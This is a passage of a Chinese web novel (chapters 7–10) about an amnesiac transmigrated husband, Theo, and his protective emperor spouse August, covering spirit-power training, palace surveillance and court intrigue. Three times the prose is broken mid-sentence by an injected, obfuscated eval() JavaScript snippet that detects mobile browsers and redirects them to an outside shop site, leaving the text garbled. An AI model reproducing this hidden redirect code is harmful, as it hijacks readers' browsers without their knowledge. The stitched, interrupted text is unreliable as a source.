西奥低头,灯光在雌君高挺的鼻梁上投下阴影。奥古斯特正闭着眼睛,总是皱着的眉头也全然舒展开。这个英俊的、强大的、平日里一丝不苟的虫皇陛下,此刻跪着趴在他腿上,像一个平静的留恋的幸福的小虫崽。 西奥忍不住发自内心的微笑,缓慢抬起手,轻轻摸了摸枕在腿上的脑袋。 接下来的时间,奥古斯特忙着工作,西奥忙着康复。 他们在早餐桌上分开,开始各自的一天,又在晚餐桌上相遇,一起聊聊各自的生活。就像每一对成婚多年、感情稳定的普通夫夫一样。 而诺亚,主要在其中起到一个交接的作用。 这几天的时间,西奥已经大概摸清楚了诺亚的性格。阳光开朗大……军雌,但毒舌。具体表现为,有问必答,但说的未必是你想要的答案。 比如,西奥曾经暗搓搓问过他:“我跟奥古斯特是怎么在一起的?” 对此,诺亚的回答是:“应该是,命运吧!”然后他在胸前画了个十字,“伟大的虫神在上,给你们二位赐下了姻缘!” 西奥多少有点无语,“你们军雌也信教吗?” “哎,你别这样。虫神教可是我们的国教。就连陛下,对外也要表示尊敬的!” “那你的姻缘也是虫神赐下的?”西奥反问。 诺亚赶紧否认,“我还年轻,还单身呢!” 西奥有点凌乱,虽然按照虫族的年龄来说,诺亚的确算是青年,但,“你年龄比我大吧!” “对,不是所有虫都像您和陛下一样,英年早婚,还早婚早育。” 西奥:不是??? 再比如,西奥还问过他关于虫崽弗雷德的事情,“我跟弗雷德关系怎么样?” 家里虽然也有虫崽的房间,但毕竟是个虫隐私,西奥也不好随便进去参观。他对于这个奥古斯特不太愿意多说的虫崽,还是很感兴趣的。 对此,诺亚的回答是:“挺好的,父慈子孝的。” 如果不是他的表情相当认真,西奥差点以为这是句讽刺。“可是家里连虫崽的照片都没有,平日里也没有联系……”他甚至没有在手环上找到弗雷德的联系方式。 “殿下的照片应该都在他自己房间里。长得跟陛下比较像,尤其眉眼那块儿。至于联系不到,军雌嘛,执行任务都这样的!” “什么任务,危险吗?”西奥追问。 诺亚做了个缝嘴巴的动作,表示不能说。 “我是担心,我失去了记忆,会不会尽不到一个好雄父的责任?” “那不至于。”诺亚安慰道,“殿下一直比您沉稳可靠。” ……真是谢谢你啊! 总之,诺亚起初认真可靠又客气的形象算是碎了个彻底,距离感也完全消失。本以为是奥古斯特的副手,应该跟他差不多的性格,谁能想到这么毒舌! 不过,“你觉得我失忆之后,跟以前有什么区别吗?” 诺亚沉思片刻,“话好像比以前密了点。” ……有你密吗?! 不过这也让西奥多少放下心来。这几天他已经明里暗里试探过很多次,不管是奥古斯特,诺亚,还是其他负责做饭清扫换药站岗的军雌,甚至线上的吉尔,没有一个虫对他表示过一丁点的怀疑。 这是一个,至少目前对他来说,安全又舒适的家园。 除了说话难听之外,诺亚毕竟是位上将。在西奥的要求下,去地下室的靶场给他演示了普通枪械的使用方法,的确是火光四射,威力十足,且命中率百分百。 但在他手里轻飘飘的长枪,到了西奥手里,却坠得他猛地弯腰,险些从轮椅上摔出去。 诺亚赶紧扶了一把,“我的天,小祖宗你可别摔了,否则陛下会杀了我的!” 之后卷起裤腿查看,果然腿上青了一块。好几天都没消。这也顺利打消了西奥学习通用武器的念头。枪都拿不动,怎么打?! 与之相比,诺亚作为军雌的恢复能力堪称逆天,先前支架只打了一天,第二天就拆了,淤青也都消失不见。 偶尔西奥也会有点遗憾,穿都穿了,自己怎么没有穿成雌虫呢?高大强壮又能打,据说还有翅膀,会飞! 但是,看着面前半跪着皱眉给自己腿上的淤青仔细上药油的奥古斯特,西奥又觉得没什么遗憾的! 塞翁失马,焉知非福! 他生来就是要成为雄虫,继承奥古斯特这个绝世好雌君的! 想到这里,他微微前倾,握住了正在揉开药油的手腕,“好了。”雌虫的掌心热热的,再揉要出事了! 见奥古斯特抬头看他,赶紧说:“不疼了。” 虫皇这才收手。西奥穿裤子的时候问了一句,“你不会因为这个揍诺亚一顿吧?” 奥古斯特无语,“我是那种虫吗?” “那上次,他骨折打支架,是怎么回事?” “那是他技不如我,输了战斗而已。”奥古斯特觉得不对,“他说是我故意打的?” 西奥不想参与这些军雌之间的纷争,打个哈哈糊弄过去了。 正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16823908|191084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好也到了每天的精神力训练环节。 这几天下来,西奥也早就清楚,第一天的那个晚上,自己根本没有成功。都是奥古斯特自愿下跪的。之后的几天,西奥再没成功过,也再没见过在他面前双膝下跪的虫皇。 说实话,有点怀念。 但失败的次数太多,西奥已经有点失去信心了。自己的精神力有没有可能跟着原主一同离开了?于是下命令的时候,也变得敷衍。 “跪。” 奥古斯特微微挑眉,眼神略带谴责的看向他。 被这样一双蓝眼睛看着,西奥也有点心虚,但他也很委屈,“这个也没有什么教程啊,我都不知道从哪开始!” “要不试试别的命令?有别的吗?” 这下,目光躲闪的虫变成了虫皇陛下。 西奥顿时来了兴趣,“是什么?什么什么?!” “你可以让我不动,或者……”奥古斯特沉默了好久,才说,“或者、让我抵达巅峰。” 西奥起初没听懂,于是追问,“那命令词是?就是不动吗?” “是停止,和高……” 西奥以为自己听错了,下意识啊?了一声,于是奥古斯特又重复了一遍。这次他听得非常清楚,就是那个意思! “啊?!” “对于虫族来说,繁衍非常重要。所以对于感官的控制,当然也很关键。”奥古斯特一本正经解释道。 但西奥依旧嘴巴大张,一副陷入震惊没能恢复的样子。好半天,他才找回自己的言语和理智,“所以你是说,你们,我是说,我可以……?” “如果我说那个词,你就会……?” 奥古斯特点头,移开视线,避免对视。 玩好大啊,不愧是虫族…… 然后西奥突然发现,奥古斯特耳根有点发红。雌虫的肤色是那种偏深的小麦色,不算明显,但耳朵这种皮肤薄的地方,还是一眼就能看出区别。 奥古斯特在他面前大多都是镇定自若的模样。说怀蛋的时候也是,就连下跪的时候,也是一副理所应当的坦然。唯一一次失控,应该还是自己出事的时候。但那时候西奥根本无暇仔细观察,现如今难得看到奥古斯特表情管理失败,当然要好好地、仔细地看清楚。 于是西奥踮起脚,凑上前去。两虫之间的距离被迅速拉近、缩短,温热微痒的呼吸喷在脸颊的时候,奥古斯特喉结滑动,微微抬了抬下巴。 太近了,近到一个吻已经触手可及。 只是那个吻一直没有落下,呼吸和热度在雌虫下巴和耳侧逡巡,直到温柔的饱含爱意的声音小声在耳边响起,“陛下,高……” 与此同时,监控摄像头的另一边,代表警戒的红灯陡然亮起。诺亚面无表情看着屏幕,他的副官克利夫说:“他不该离陛下那么近。” “闭嘴。”诺亚说。 好在,短暂的咬耳朵之后,虫皇迅速拉开了距离。 诺亚长舒一口气,闭了闭眼睛。 “上将,”克利夫问,“弗雷德殿下还不回来吗?” 诺亚苦笑,“殿下这时候,恐怕回不来。” 克利夫沉默了,他看着摄像头里无忧无虑的雄虫,突然觉得有点羡慕。“殿下不回来,那陛下怎么办?” “陛下不会有事的。”诺亚说。 “陛下不能有事。” 8. 第8章 圈养? 这天清晨,西奥又迎来了一个熟虫,吉尔医生。 “好久不见。”吉尔推了推眼镜,笑眯眯跟他打招呼。 但最近俩雄虫天天在手环上聊天。已经从精神力研究院的最新科研进展,聊到了办公室饮水机按钮好不好用,以及隔壁科室的雌虫研究员最近刚孵了一对双胞胎小虫崽了。 事无巨细,乱七八糟。主要是精力逐渐恢复,暂时无法外出,也不认识别的熟虫,就免不了线上揪着吉尔多说几句。 以及,吉尔也在精神力研究院任职,是脑外科的主任。真要算起来,西奥还是他的领导。不过他这个领导,据吉尔所说,基本只做研究,不管行政,这些东西都是丢给几个副院长去做了。 西奥听明白了,就是只拿钱,不干活。鉴于他是虫皇的雄主,又是虫皇亲自任命,所以也没虫敢管他。 这是他上辈子梦寐以求、这辈子却十分心虚的一份“工作”。而且不仅如此,吉尔还告诉他,因为这次受伤,虫皇已经给他请了三个月的长假。让他不必担心工作。 说实话,西奥并不担心工作。他主要是担心……吃软饭。 吉尔今天是来给他拆线的。动作倒是很娴熟,打开纱布,咔咔几剪子下去,很快就完成了。只有一点轻微的刺痛感。 “伤口恢复得不错,这几天避免沾水,很快就好了。” 来都来了,吉尔顺便帮西奥做了个检查。灯光对着瞳孔扫射几下,“有没有幻听?” “没有。” 电极贴片粘到了脑门上,“有没有做噩梦?” “没有。” 最后还做了个一个CT扫描,“数据都挺好的,跟健康虫没什么区别了。” 但是听到这个好消息的西奥看着镜子里的自己,却笑不出来。因为他发现—— 他少了一块头发! 之前缠着纱布看不出来,现在拆掉之后,就变得过于明显了。本来觉得自己的银发就很显眼,现在可好,少了一块更显眼了! “吉尔啊……”西奥声音颤抖,“我的头发……怎么……” “这个,毕竟是开颅手术,剃掉头发是正常流程。”吉尔忍着笑回答。 道理西奥都懂,但还是对着缺的那一块唉声叹气了好半天,然后尝试把周围头发扒拉过去,遮掩一二。 “就一点点而已,有必要这么在意吗?”吉尔都有点看不过去了。 对哦,他为什么这么在意。西奥回想起来,自己做人的时候也好看,但绝不会这么在意自己的外表。说到底还是那时候的生存压力太大,外貌这种只能看不能吃的东西,实在算不得什么重要的事情。 所以果然还是现在的生活太安逸了,以至于开始操心这些有的没的。 “昨天晚上,我梦见问奥古斯特喜欢我的什么?”西奥叹气,“他说是脸。” “噗哈哈哈哈哈哈!!!”吉尔毫不客气地爆发一阵狂笑。 “笑够了没有。”西奥一脸幽怨看着他,再次确认这就是位损友。 “咳,哈哈!陛下不可能因为脸就跟你在一起的。”吉尔说,“而且只是个梦而已啊!” 确实只是个梦。但也反映了他内心的担忧。现在的日子太过安逸幸福,以至于他总觉得隐隐不安,像是处在一个梦幻的泡泡中,只要轻轻一戳,就会瞬间破碎。 他仔细想过了,奥古斯特是虫皇,先不管那些潜在的危机,至少说得上有权有势、有钱有颜,相比之下,现在的他除了一张脸,还有什么?这大概就是隐隐担忧的根源。所以才会做那种梦。 “那你说,除了脸,我还有什么优点?” 吉尔立刻,“你精神力也很厉害啊!” 是。所有虫都说他精神力很厉害,但问题是,他不会用啊! “除了这个呢?” “呃……”吉尔呃了半天没说出来。 西奥一脸你怎么回事!的指控。 “开个玩笑!你正直勇敢有责任心,怎么会没有优点呢?”吉尔立刻找补。 但这顶高帽扣下来,西奥一点也没觉得开心。这是说自己,还是说原主? 虽然已经下定了决心,但总有那么些时刻,会让西奥生出类似的担忧。他是西奥,但并不是之前的西奥了。 “伤口已经好差不多了,这几天可以出去走走。”吉尔提议道,看到西奥又是一脸纠结的表情,还好心建议,“实在介意,你可以戴顶帽子。” “要不这样,咱们找个附近的发廊,让理发师帮忙,给你做个遮住那块头皮的发型?” 西奥对这个提议举双手赞同。 两虫在衣帽间里翻找半天。最后西奥挑了个设计简单的黑色棒球帽,吉尔则选了一款圆顶小礼帽。但两个虫高高兴兴往外走的时候,却遇到了阻拦。 “抱歉,没有陛下的命令,您不能离开霍尔德宫殿。”今天诺亚刚巧因为工作暂离,门口的护卫西奥也不熟。于是就这么尴尬的被拦住了。 “我们就是出去走走,很近。”西奥解释了一下。 “对,就这个好再来发廊,离皇宫只有两条街。很近的。”吉尔点开手环给他们看。 “抱歉,军令如此。西奥阁下……请别为难我们。” “哟,”吉尔在旁边打趣,“你这是被圈养了啊!” 西奥翻了个白眼,“别胡说,这是因为前几天出过事,奥古斯特担心我的安全。”话是这么说,但出不了自己家门,的确很尴尬。 “那你给陛下打个电话,求他放你出去?” 现在是上午十点半,这个时间奥古斯特很可能在工作。西奥点开手环,犹豫了一下,会不会太打扰了?他也不是非要现在出门不可。 正在纠结呢,吉尔直接伸手帮他点了视频电话,“赶紧吧。放心,陛下不会怪你的!” “哎,你怎么!”虽然被吉尔推了一把,但在等待接通的时候,西奥也有点期待。现在天天跟奥古斯特见面,手环上的联系反而非常少,这还是他第一次给雌君打电话。 视频电话响了五声,无虫接听,被自动挂断了。 果然在忙。 虽然可以理解,但说不失望也是假的。“算了吧,等奥古斯特回来,我再跟他说一声。” 再一回头,才发现吉尔根本没听到他的话,已经畅通无阻地自行出去了。 西奥看过去的时候,一门之隔,吉尔站着阳光下笑着冲他招手:“好了吗?快出来吧,今天天气很好!” 西奥看了一眼外面。天气晴朗,阳光很好,微风吹拂,的确是个好天气。因为之前的受伤和手术,他有段时间没去室外了。眼看吉尔已经站在了外面的阳光下,的确有点心痒。 他突然很怀念阳光照在身上,那种暖洋洋的感觉。 没再犹豫,他再次拨通了奥古斯特的电话。 依旧没接通。 这时候吉尔也意识到不对,重新回到了门内,“他不同意?” “不是,没接通。” “陛下一直很重视你,不应该啊……”吉尔小声嘀咕,看了一眼西奥的脸色,“那要不算了,不出去了。” 此刻坚持要出门的反而成了西奥,他问门卫:“你们是皇家护卫队的吧?那我找诺亚是不是也一样?” 门卫犹豫半天,“这个……” 在西奥看来,这只是说一句话的小事情,完全是沟通不及时的误会。正好他也有诺亚的联系方式,所以他直接打了电话过去。 仍然没有接通。 “你没有陛下的其他联系方式吗?私下的那种?”吉尔提议。 西奥下意识摸了摸胸口的项链。但现在的情况实在称不上紧急,要是随便乱用,变成狼来了的故事,那就不好了。 但连出个门都做主不了,实在是非常憋屈。 就在西奥想着是再找其他虫还是就此放弃的时候,吉尔突然咦了一声。他指着门卫胸前的金属纹章说:“这是实时监控吧?” 西奥的视线立刻被吸引了过去。那是一个盾牌形状的徽章,上边刻着一头怒吼的雄狮图案,是皇家护卫队的纹章,他在诺亚身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16823909|191084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上见过好多次。现如今凑近了仔细看,才发现狮子眼睛里,藏着一颗反光的摄像头。 “我认得这个。你们做任务用的吧?” “吉尔阁下好眼力。”门卫没有否认。 “那不用急,摄像头开着呢!很快另一头的虫知道,你连家门都出不去了。” 西奥第一次知道,原来徽章还附带监控的功能。他想起这些天,不管是吃饭、溜达还是康复,又或者跟奥古斯特和诺亚聊天,基本上附近都会站着一两个卫兵,都佩戴了同款的徽章。 西奥顿时生出一种私生活暴露在他虫眼皮子底下的不悦,“所以,你们监视我?” “不敢不敢。”门卫摆手,“我们负责宫殿的安全,平时开监控属于军队规定。” 是不是规定西奥不知道,但摄像头对面大概真的有虫。没过两分钟,门卫就收到了来自上级的指示:西奥阁下可以出门,但需要有两名s级的皇家护卫队成员陪同,并且不得离开皇宫。 原本兴致勃勃的出门做发型,现在变成了在监视下束手束脚的散步。两个雄虫并排走在皇宫外的林荫路上,天气的确很好,但西奥完全没了第一次出门的兴奋,只觉得身后五米远的脚步声十分令人烦躁。 不过,一旁的吉尔心情倒是依旧很好,“你还记得哈里斯吗?就是隔壁科室,精神力武器科的。昨天把他家刚孵出来的小虫崽带到办公室了,超可爱,给你看看!” 说着点开了手环。“而且双胞胎,又经过基因筛选的话,说不定可以顺便研究一下特殊共感效应之类的。又是一篇高水平论文……” 但西奥完全不想看,“吉尔……” 手环的投屏已经开始播放两个小虫崽的视频,咿咿呀呀的确非常可爱。如果是以往,西奥一定会感兴趣地凑上去夸两句。但不是现在,不是他所有心思都在另一件事情上的时候。 西奥不得不提高音量打断了他,“吉尔!” “怎么了?”视频中断,吉尔终于把视线从手环移到了西奥身上。 “我在想,是不是奥古斯特?”西奥问,“监控画面背后的虫,那个下命令的虫,是不是就是我的雌君?” “这个……”吉尔有些为难,“你问我我也不知道啊!” “皇家护卫队本来就是虫皇的私军。奥古斯特真的会不知情吗?而且电话他不接,诺亚也不接。一个两个,哪有这么巧合的事情。”西奥自顾自分析起来,“绝对是故意的!” 不让自己出门,这不就是吉尔之前说的圈养吗?! “你在这里猜来猜去也不是办法。”吉尔提议,“真这么在意,就直接问问虫皇本虫吧?” “毕竟,这种事情,还是需要你们自己去解决。”言外之意就是,不要把我拉进去! 西奥叹气,吉尔的话虽然显得有点落井下石,但道理也没错。他下意识捏了捏胸口的项链,思索着要怎么跟奥古斯特开口。 正想着呢,身后跟着的两个卫兵突然上前,“西奥阁下,陛下回来了,正在霍尔德宫殿等您。” 说实话,西奥还没准备好,“我们正在聊天,不能等等吗?” “去吧!”吉尔说,“不要让陛下等。” 西奥转身离开时,吉尔还叮嘱:“万一出现了幻听幻视,记得叫医生!” 那份隐约的不对头,在西奥无法自由离开宫殿时诞生,在交涉和被监视的散步中逐渐发酵,然后在回到宫殿,见到奥古斯特的瞬间达到了顶峰。 虫皇依旧坐在常坐的那个沙发上,军装整齐冷硬,双腿交叠,依旧是以往那副令西奥心动无比的英俊。但他头一次,觉得沙发上的奥古斯特过于高大,甚至有几分危险。 他好像第一次清醒意识到,这个爱他的、救他的、宠他的雌君,终究是个帝王。 见到他来,奥古斯特抬了抬手,头一次清了场。 偌大的会客室顿时空旷无比。士兵不见了,身上的监控摄像自然也都没了。 西奥深吸一口气,上前一步,问: “是你干的吗?” 9. 第9章 生气! “是。”奥古斯特回答得很干脆。“实时监控,暂时禁止外出,都是我的命令。” 西奥没想到对方这么理直气壮,“这件事,不应该问过我的意见吗!” “西奥……雄主,”奥古斯特叹了口气,软下声音安抚,“先过来,坐下说可以吗?” 西奥不想过去,更不想像往常那样坐在他身边。就好像站着,保持距离,就能多几分底气,“不用!” “好,那就站着。”奥古斯特也没强求,“不让你出去,还有监控的事情,没有提前告诉你,确实是我处置不当。” 这么快的道歉,是西奥意料之外的。刚才不是还理直气壮吗? “但我做这些,有一个很重要的前提。”奥古斯特说。 “我会死。” 什么?! “如果你死的话。” 西奥的大脑还在试图理解这两句话的意思,就听奥古斯特解释道: “如果你此刻死去,我绝对活不到明天太阳升起。” 说这话时,奥古斯特神色平静,甚至有些冰冷,仿佛在谈论天气,而不是在谈论自己的死亡。 这个重磅炸弹砸得西奥有点晕。他突然想起很久之前,还在学校接受训练的时候,一群年轻人大半夜围着桌子玩真心话大冒险,瓶口刚好转到了他面前,而他选了真心话。 赢家笑嘻嘻问:“池博士,你中意的对象是什么样啊?” 池骁想了想,“嗯……是能跟我同生共死的人!” 周围人顿时哄笑:“池博,你对女孩子要求也太高了吧——” “好老套哈哈哈,是敷衍我们吧!” 揶揄和笑声此起彼伏。池骁也跟着笑,仿佛刚才只是开了无伤大雅的玩笑。他也懒得去解释他不喜欢女孩子,以及—— 这并不是敷衍。 在这个危险又混乱的时代,他的确奢望一份同生共死的感情。 虽然他自己也很清楚,这到底有多么的愚蠢和遥不可及。 但现在,真的有虫对他做出了生死与共的承诺…… 好半天,西奥才找回自己的言语,“是因为……?” “深度标记。”奥古斯特依旧冷静的不像话,“这是我在被你标记的时候,就已经清楚知晓的后果。” 生死为大。经历过一次死亡的西奥很清楚,也很确信,这世上没有什么比生死更重要,权势、财富、美貌、才华,在死亡面前都变得轻飘飘不值一提。所以他无法理解,哪怕这是他内心深处最为隐秘的渴望,但他依旧无法理解,奥古斯特,为什么要这么做? 把自己的生死系在别人身上,不是一件愚蠢透顶、危险至极的事情吗?! 所以他继续问:“为什么?” 奥古斯特沉默片刻,像是没料到他会问这个问题。然后开口,声音缓慢艰涩:“或许是因为,比起死亡……” “我更害怕失去你。” 奥古斯特垂下视线,下颌绷紧,“所以在你出事之后,我……” 他顿了一下,十指交叉,搁在膝头,“再加上虫蛋,我的保护欲可能确实有些……” 但他没能说完,因为西奥突然上前几步,一把抱住了他。雄虫的肩膀或许没有军雌的宽阔有力,但依旧坚实温暖。 愣怔片刻后,奥古斯特的手也环在了西奥腰上。 两个虫就这么一站一坐,安静地拥抱了几十秒。 直到西奥开始觉得不好意思,主动松开。 他刚才,着实是冲动了些…… 但他忍不住。 他自认是喜欢奥古斯特的,他也愿意为了对方留下来,成为新的西奥·兰斯顿。但如果说为了奥古斯特去死…… 他做不到。 所以他输了。 于是感情的天平,就因为死亡的重量而向一边倾斜了。 他仍然不认为奥古斯特做得对,但……鬼使神差般的,他觉得此刻的奥古斯特,无比需要一个拥抱。 于是他做了。 他明明最讨厌肢体接触,却在奥古斯特这里连连破例。像个孩子一样索求安全,像个长辈一样心疼安抚。整个人变得幼稚冲动,不计后果,凭感觉行事…… 西奥后知后觉,这……难道就是传说中的爱情吗? 但等他松开,不愿意放手的又成了奥古斯特。雌虫将后退的雄虫重新捞了回去,用结实有力的双臂紧紧环住了他的身体。 他抱得很紧,很用力。不知是不是错觉,西奥甚至觉得他的后背在轻轻颤抖。 不会是……哭了吧? 西奥的心脏被这个猜测狠狠戳了一下。哪怕见过这位虫皇下跪的模样,他依旧很难相信,奥古斯特也会哭。 他不应该永远是沉稳持重、从容不迫的模样吗? 然后闷闷的声音从怀里传来,“所以,你不生气了吗?” 等下,一码归一码! “生气!”西奥立刻表明态度,沉默一会儿又软下声音,“但我也能理解你这么做的原因。” 如果他的生死跟另一个人深度绑定,那他可能也会想把对方看得牢牢的。 有些自私。但,谁又不是自私的呢? “不过你也说了这样做不对。”西奥说,眼前的问题还是要解决,“那以后,就不会这样了吧?” 闻言,奥古斯特抬起头,松开了西奥。窗外阳光很好,室内光照充足。西奥看到雌虫眼尾有点泛红,但并没有泪水。 果然,是自己的错觉。 然后就听奥古斯特斩钉截铁道:“不行。” 什么?!合着刚才又是道歉又是拥抱,气氛都到那了,结果一点用没有吗?! “为什么?!” “我不能允许同样的意外再次发生。监控和限制,是目前必要的安保手段。”奥古斯特整理着自己的军装,上面的褶皱很快被抚平消失,仿佛从来没有存在过。就像刚才的示弱和道歉一样。 “那我的感受吗?”西奥据理力争,“我现在已经恢复差不多了,你总不能把我一直关在宫殿里头吧?!” 奥古斯特紧皱眉头,没有说话。 西奥突然想到了什么,“你以前,一直都是这么做的吗?” 原主难道真是被圈养的金丝雀雄虫? “没有。”奥古斯特立刻否认,“只是这次出事之后的特殊应对手段。” 那就好。西奥提起来的心又放下了,所以……是因为出事,然后ptsd了? 将心比心,可以理解。但是,“不能因为你的焦虑就限制我的自由!” “不是焦虑,事情……还远没有结束。” 西奥数了数日子,距离上次的绑架,已经过去一周了。“报告不是都出来了吗?怎么还没结束。” 在西奥看来,既然报告都有了,代表事情已经查清楚了。那剩余的收尾工作应该用不了一两天。 “外面的是清除了。但是内部的……我不确定。” 这样啊。西奥大概明白了,原来是有内奸啊! “这么复杂吗?”西奥叹气。在此之前,他以为那只是一次单纯的袭击和绑架。而且奥古斯特之后雷厉风行的动作,也让他很快安下了心。从来没想过,背后还有这么多复杂的他不知情的细节。雌君什么都没说啊! 政治斗争,尔虞我诈,西奥永远不喜欢,也搞不懂。但现如今他已经牵扯其中,切身相关,思索片刻后选择坐在了奥古斯特身边,问:“需要我帮忙吗?” 奥古斯特一怔,“所以,现在不生气了?” “我又不是什么不讲理的虫……”西奥微微侧靠过去,离他的雌君更近了些。他也有点不好意思,“下次如果有类似的情况,你其实可以提前说,是为了我的安全。” 西奥主动抱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16823910|191084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 住奥古斯特一侧的胳膊,“我肯定会相信你的啊!” 奥古斯特侧头,雄主正盯着他,眉目温柔带笑,满眼都是信任。 虫皇像是被刺痛了一般,迅速收回目光。他沉默片刻,“一个月。” “嗯?”西奥有点没跟上节奏。 “给我一个月的时间,我会把所有的事情都解决。”奥古斯特做出承诺,“在这期间……” “委屈你一下,行吗。” 一个月的时间,还算合理。更何况,说到底,也是为了他自己的安全。 西奥点头,“所以,不需要我帮忙?” “如果你能恢复精神力,就是最大的帮助了。” 西奥顿时感觉压力山大,立刻转移话题,“我可以不出皇宫,但是,实时监控就没必要了吧?” 蓝眼睛再次避开对视,回应道:“好。” 于是协议正式达成。西奥主动伸出小拇指,“不许骗虫!” 但不知是不是奥古斯特不懂拉勾的规矩,总之,他没有跟西奥拉勾上吊一百年不许骗,而是握住了那根小指,然后低头,轻轻吻了一下。 虔诚的、温柔的、小心的。痒痒的…… 哦操! 西奥顿时觉得,别说一个月不出宫,就是一年,他也愿意啊!!! 当然,这话绝对不能说。 那吻稍纵即逝,西奥回味片刻,然后想起来自己出门最初的目的,“对了,我本来是打算出门找理发师来着。”他再次想起自己头顶那一块缺损,幸好戴着帽子! “这个,可能不行。”奥古斯特为难道,“我信任的理发师,都来自军队内部。他们只会一种发型。” “板寸。” 不——!!! 西奥在内心发出哀嚎,纠结好久,还是决定放弃板寸,给头发一点时间。 伤口总会愈合,头发总会长出来的!他安慰自己。 奥古斯特说:“如果那么在意的话,我可以……” 当天下午,霍尔德宫殿门口。诺亚清楚看到虫皇陛下的头发——跟西奥同样的位置——也缺了一块时,眼睛瞬间瞪大了一圈。 他张了张嘴,终究在虫皇沉甸甸的目光下把话拐了个弯,“陛下,安德森议员正在办公室等您。” 好在,一顶军帽扣在了头发缺少处,遮挡住了其他可能的无礼注视。门内,同样戴了一顶帽子的西奥笑着冲他俩招手,“晚上早点回来呀!” 奥古斯特点头,然后阔步离开。 虫皇专属的办公室内,一个雄虫等待许久。 “最近你和公爵之间出什么事了?阿凯特斯的货物都被他卡了好几次。”一见到奥古斯特,雄虫便毫不客气发问。 “你好,安德森。”奥古斯特不紧不慢到桌子后坐下,“如果你做的生意都合法,那公爵拿什么都卡不住你。” “而且,你来也不是为了生意的事情吧?” 安德森也不装了,“西奥的事情,你打算怎么办?” “正在办。”奥古斯特想到了什么,警告道,“你不许插手。” 安德森举起双手示弱,“好好好,我手都在外面呢!” “西奥的事情我不管,那你呢?”安德森也没掩饰自己的担心,“他现在这个情况,你的身.体怎么办?” “我可不希望下次见面,是在你的葬礼上。” 奥古斯特皱眉,“我不会死的。别忘了,我是莫德神兵。” 安德森·莫德扯出一个苦笑,“就因为你是莫德神兵,所以我很清楚你生理上的雄父、我生理上的哥哥对你做过什么。我知道你实力很强,但……” 在虫皇陛下警告的眼神扫过来后,安德森还是选择了闭嘴,“好吧,过去的事情不提了。” “我只是想问问你,既然西奥不行了……” “要不要考虑换个雄虫?” 10. 第10章 吻 虽然无法离开皇宫,但西奥的日常生活依旧很精彩。 因为这毕竟是个崭新的世界。 因为皇宫也确实足够大,林林总总几十座建筑。霍尔德宫殿只是其中之一,甚至不是最大的那个。豪华的宴会厅、整齐的办公楼、宏伟的大教堂,甚至还有图书馆、后花园,以及停机坪。之前搭乘过的奥古斯特的专属飞船无畏号,就停放在那里。 这应该西奥住过的所有地方里面积最大的一处了!西奥头一次切身体验到了权力和财富所带来的广阔和精彩。因为有奥古斯特的特许,他在整个皇宫内几乎畅通无阻。 在能出门的最初几天,他总是兴致勃勃,哪里都想看上一看。 但因为安全问题,不管他去哪里,都要清场。他去图书馆,便是空空荡荡的图书馆,他去宴会厅,便是空空荡荡的宴会厅。 多来几次,西奥就不太愿意到处逛了。总觉得自己出门,无形中给周围虫增加了不少工作量。 于是,西奥开始给自己找点安静的兴趣。 他是真的很想帮上忙,就按照奥古斯特说的,开始努力学习精神力相关的理论知识。 具体来说,他开始阅读西奥之前的论文。 然后发现,不管这个精神力研究院院长的职位是不是源自虫皇陛下的溺爱,单从论文数量和质量来说,院长的名号,绝对名副其实。 在过去将近三十年的时间里,原主每年都发表至少一篇高质量论文,堪称敬业模范。内容全部都是精神力相关的,但涵盖的范围非常之广,甚至开辟了好几个新的研究赛道。引用量比较高的比如《雌虫精神力武器化形状多样性研究综述》、《同卵双胞胎之间的精神力共感效应研究现状》,再到最近的《使用精神力判断言辞真假的案例研究》、《论使用精神力进行言语控制的可能性》等等。 确实写得很不错,深入浅出,浅显易懂。哪怕西奥这种完全的精神力小白也能读懂。 但问题在于,西奥不会精神力。看得再多,也好像哈利波特里的麻瓜,星球大战里的非力敏,jojo里面的小面包,对于那种神奇的力量,除了感叹之外,只能干瞪眼。 几天过后,就连奥古斯特似乎也不再抱希望,晚上例行的精神力训练也变得敷衍。他教会了西奥更多的控制词:抬头、张嘴、塌腰,以及……咳咳。 但西奥一直做不到,他也没有强求。 只像执行某种任务一样,每天做上一做。至于结果如何,并不在意。 剩余的夜晚,便都用来聊天、以及陪伴。 有时在沙发上,有时在椅子里,有时在床上。大多数时候是西奥在问,奥古斯特回答。不管是什么问题,哪怕是今天的晚饭似乎有点咸这样的无聊话,虫皇也会思考片刻,给出有条有理、十分谨慎的回答:“我会跟厨房说一声,让他们把配料表列个清单。然后减少百分之十的盐分摄入。” 每到这时候,西奥就总想笑。 